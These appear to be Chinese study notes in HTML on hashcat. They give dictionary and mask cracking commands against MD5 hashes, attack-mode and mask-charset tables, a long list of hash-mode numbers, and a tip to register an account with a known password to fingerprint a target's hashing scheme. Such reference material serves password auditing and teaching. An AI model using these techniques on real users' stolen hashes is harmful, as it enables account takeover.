		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">-m 0 -a 0 E10ADC3949BA59ABBE56E057F20F883E password.txt &nbsp;&nbsp;&nbsp;&nbsp;</span>使用字典<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">-m 0 -a 0 md5_list.txt password.txt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>一次多个<span lang="EN-US">hash<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">-m 0 -a 3 "3d9865a2843dcb59e7a6296c894732a4" "?d?d?d?d?d?d?d?d"&nbsp; 8</span>位数字<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1</span>）攻击模式<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Straight</span>（密码字典）<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Combination<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Brute-force</span>（掩码）<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hybrid Wordlist + Mask<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hybrid Mask + Wordlist<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">2</span>）内置掩码<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">?l&nbsp;&nbsp;&nbsp; </span>表示小写字母（<span lang="EN-US">abcdefghijklmnopqrstuvwxyz</span>）<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">?U&nbsp;&nbsp;&nbsp; </span>表示大写字母（<span lang="EN-US">ABCDEFGHIJKLMNOPQRSTUVWXYZ</span>）<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">?d&nbsp;&nbsp;&nbsp; </span>表示阿拉伯数字（<span lang="EN-US">0123456789</span>）<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">?s&nbsp;&nbsp;&nbsp; </span>表示特殊符号（<span lang="EN-US">!"#$%&amp;'()*+,-./:;&lt;=&gt;?@[\]^_`{|}~</span>）<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">3</span>）其他<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">?d?d?d?d?d?d?d?d </span>表示<span lang="EN-US">8</span>位数字<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">&nbsp;</span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">4</span>）<span lang="EN-US">hash</span>类型<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">&nbsp;</span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			如何判断对方的代码类型<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			注册账号，密码写<span lang="EN-US">123456<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			用常规<span lang="EN-US">hash</span>进行加密，然后寻找一样的。<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">&nbsp;</span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">0 = MD5<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">10 = md5($pass.$salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">20 = md5($salt.$pass)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">30 = md5(unicode($pass).$salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">40 = md5($salt.unicode($pass))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">50 = HMAC-MD5 (key = $pass)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">60 = HMAC-MD5 (key = $salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">100 = SHA1<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">110 = sha1($pass.$salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">120 = sha1($salt.$pass)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">130 = sha1(unicode($pass).$salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">140 = sha1($salt.unicode($pass))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">150 = HMAC-SHA1 (key = $pass)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">160 = HMAC-SHA1 (key = $salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">200 = MySQL323<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">300 = MySQL4.1/MySQL5<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">400 = phpass, MD5(WordPress), MD5(phpBB3),MD5(Joomla)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">500 = md5crypt, MD5(Unix), FreeBSD MD5,Cisco-IOS MD5<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">900 = MD4<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1000 = NTLM<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1100 = Domain Cached Credentials (DCC), MSCache<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1400 = SHA256<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1410 = sha256($pass.$salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1420 = sha256($salt.$pass)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1430 = sha256(unicode($pass).$salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1431 = base64(sha256(unicode($pass)))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1440 = sha256($salt.unicode($pass))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1450 = HMAC-SHA256 (key = $pass)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1460 = HMAC-SHA256 (key = $salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1600 = md5apr1, MD5(APR), Apache MD5<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1700 = SHA512<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1710 = sha512($pass.$salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1720 = sha512($salt.$pass)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1730 = sha512(unicode($pass).$salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1740 = sha512($salt.unicode($pass))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1750 = HMAC-SHA512 (key = $pass)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1760 = HMAC-SHA512 (key = $salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1800 = SHA-512(Unix)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">2400 = Cisco-PIX MD5<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">2410 = Cisco-ASA MD5<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">2500 = WPA/WPA2<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">2600 = Double MD5<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">3200 = bcrypt, Blowfish(OpenBSD)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">3300 = MD5(Sun)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">3500 = md5(md5(md5($pass)))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">3610 = md5(md5($salt).$pass)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">3710 = md5($salt.md5($pass))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">3720 = md5($pass.md5($salt))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">3800 = md5($salt.$pass.$salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">3910 = md5(md5($pass).md5($salt))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">4010 = md5($salt.md5($salt.$pass))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">4110 = md5($salt.md5($pass.$salt))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">4210 = md5($username.0.$pass)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">4300 = md5(strtoupper(md5($pass)))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">4400 = md5(sha1($pass))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">4500 = Double SHA1<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">4600 = sha1(sha1(sha1($pass)))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">4700 = sha1(md5($pass))<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">4800 = MD5(Chap), iSCSI CHAP authentication<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">4900 = sha1($salt.$pass.$salt)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">5000 = SHA-3(Keccak)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">5100 = Half MD5<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">5200 = Password Safe SHA-256<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">5300 = IKE-PSK MD5<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">5400 = IKE-PSK SHA1<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">5500 = NetNTLMv1-VANILLA / NetNTLMv1-ESS<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">5600 = NetNTLMv2<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">5700 = Cisco-IOS SHA256<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">5800 = Android PIN<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">6300 = AIX {smd5}<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">6400 = AIX {ssha256}<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">6500 = AIX {ssha512}<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">6700 = AIX {ssha1}<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">6900 = GOST, GOST R 34.11-94<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">7000 = Fortigate (FortiOS)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">7100 = OS X v10.8+<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">7200 = GRUB 2<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">7300 = IPMI2 RAKP HMAC-SHA1<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">7400 = sha256crypt, SHA256(Unix)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">7900 = Drupal7<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">8400 = WBB3, Woltlab Burning Board 3<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">8900 = scrypt<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">9200 = Cisco $8$<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">9300 = Cisco $9$<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">9800 = Radmin2<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">10000 = Django (PBKDF2-SHA256)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">10200 = Cram MD5<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">10300 = SAP CODVN H (PWDSALTEDHASH) iSSHA-1<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">11000 = PrestaShop<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">11100 = PostgreSQL Challenge-ResponseAuthentication (MD5)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">11200 = MySQL Challenge-Response Authentication(SHA1)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">11400 = SIP digest authentication (MD5)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">99999 = Plaintext<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			特殊哈希类型<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">11 = Joomla &lt; 2.5.18<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">12 = PostgreSQL<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">21 = osCommerce, xt:Commerce<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">23 = Skype<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">101 = nsldap, SHA-1(Base64), Netscape LDAPSHA<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">111 = nsldaps, SSHA-1(Base64), Netscape LDAPSSHA<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">112 = Oracle S: Type (Oracle 11+)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">121 = SMF &gt; v1.1<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">122 = OS X v10.4, v10.5, v10.6<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">123 = EPi<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">124 = Django (SHA-1)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">131 = MSSQL(2000)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">132 = MSSQL(2005)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">133 = PeopleSoft<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">141 = EPiServer 6.x &lt; v4<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1421 = hMailServer<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1441 = EPiServer 6.x &gt; v4<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1711 = SSHA-512(Base64), LDAP {SSHA512}<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1722 = OS X v10.7<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">1731 = MSSQL(2012 &amp; 2014)<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">2611 = vBulletin &lt; v3.8.5<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">2612 = PHPS<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">2711 = vBulletin &gt; v3.8.5<o:p></o:p></span> 
		</p>
